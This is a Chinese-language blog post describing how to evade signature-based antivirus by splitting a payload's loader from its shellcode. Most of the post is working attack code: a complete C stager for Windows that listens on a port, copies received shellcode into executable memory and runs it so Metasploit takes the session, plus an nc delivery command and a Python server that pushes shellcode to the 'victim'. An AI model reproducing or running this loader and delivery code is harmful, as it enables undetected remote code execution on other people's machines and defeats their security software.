idiotc4t's blog
搜索文档…
GitBook 提供支持
简单的分离免杀

简介

通常杀毒软件会匹配静态特征来进行恶意软件的识别,虽然现在有很多行为查杀的引擎,但个人认为杀毒软件仍旧已特征码为主,行为免杀很大程度上是监控windows api,而这些恶意软件使用的api往往都是和合法软件是一致的,这也成为了行为查杀技术的桎梏,很多恶意软件只要换个不同的编译环境,就能不被杀毒软件注意到从而绕过杀毒软件。
本文鉴于目前杀毒软件仍旧以特征库为主,将病毒代码体和执行体分离,从而规避特征免杀。

流程

    1.
    在受害者电脑上打开个侦听端口,分配可执行内存
    2.
    等待传入 payload
    3.
    连接到受害者侦听端口,将 shellcode 作为二进制数据发送
    4.
    受害者将 shellcode 拷入可执行内存
    5.
    执行 shellcode,由 metasploit 接管 session

代码实现

给出代码是监听端口等待连接的,也可以做简单修改做成反向连接的。
1
#include <WinSock2.h>
2
#include <WS2tcpip.h>
3
#include <iostream>
4
#include <Windows.h>
5
#pragma comment(lib, "ws2_32.lib")
6
int main(void)
7
{
8
LPWSADATA wsaData = new WSAData();
9
SOCKET listenSocket = INVALID_SOCKET;
10
SOCKET ClientSocket = INVALID_SOCKET;
11
CHAR bufferReceivedBytes[4096] = { 0 };
12
INT RecvBytes = 0;
13
PCSTR port = "477";
14
ADDRINFOA* SocketHint = new ADDRINFOA();
15
ADDRINFOA* AddrInfo = new ADDRINFOA();
16
SocketHint->ai_family = AF_INET;
17
SocketHint->ai_socktype = SOCK_STREAM;
18
SocketHint->ai_protocol = IPPROTO_TCP;
19
SocketHint->ai_flags = AI_PASSIVE;
20
WSAStartup(MAKEWORD(2, 2), wsaData);
21
GetAddrInfoA(NULL, port, SocketHint, &AddrInfo);
22
listenSocket = socket(AddrInfo->ai_family, AddrInfo->ai_socktype,
23
AddrInfo->ai_protocol);
24
bind(listenSocket, AddrInfo->ai_addr, AddrInfo->ai_addrlen);
25
listen(listenSocket, SOMAXCONN);
26
ClientSocket = accept(listenSocket, NULL, NULL);
27
RecvBytes = recv(ClientSocket, bufferReceivedBytes, sizeof(bufferReceivedBytes),
28
NULL);
29
LPVOID shellcode = VirtualAlloc(NULL, RecvBytes, MEM_COMMIT | MEM_RESERVE,
30
PAGE_EXECUTE_READWRITE);
31
memcpy(shellcode, bufferReceivedBytes, sizeof(bufferReceivedBytes));
32
((void(*)()) shellcode)();
33
return 0;
34
}
Copied!

实现效果

端口已经开始侦听 我们使用 msf 生成 shellcode 并通过 nc 交付给受害者
生成一段 c 格式的 shellcode
处理一下变成一句字符串的形式
1
echo -e “shellcode-line” |nc ip port
Copied!
可以使用简单的python服务器传递shellcode
1
import socket
2
import threading
3
import time
4
5
def main():
6
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7
s.bind(('127.0.0.1', 36444)) # 公网地址
8
s.listen(20)
9
timeout = 10
10
socket.setdefaulttimeout(timeout)
11
while True:
12
sock, addr = s.accept()
13
t = threading.Thread(target=tcplink, args=(sock, addr))
14
t.start()
15
16
17
def tcplink(sock, addr):
18
print('Start download shellcode %s:%s...' % addr)
19
shellcode = b'1111111' #your shellcode
20
print(len(shellcode))
21
while True:
22
data = sock.recv(1024)
23
time.sleep(3)
24
sock.send(shellcode)
25
sock.close()
26
print('Finish %s:%s ' % addr)
27
28
29
if __name__ == '__main__':
30
main()
Copied!
最近更新 1yr ago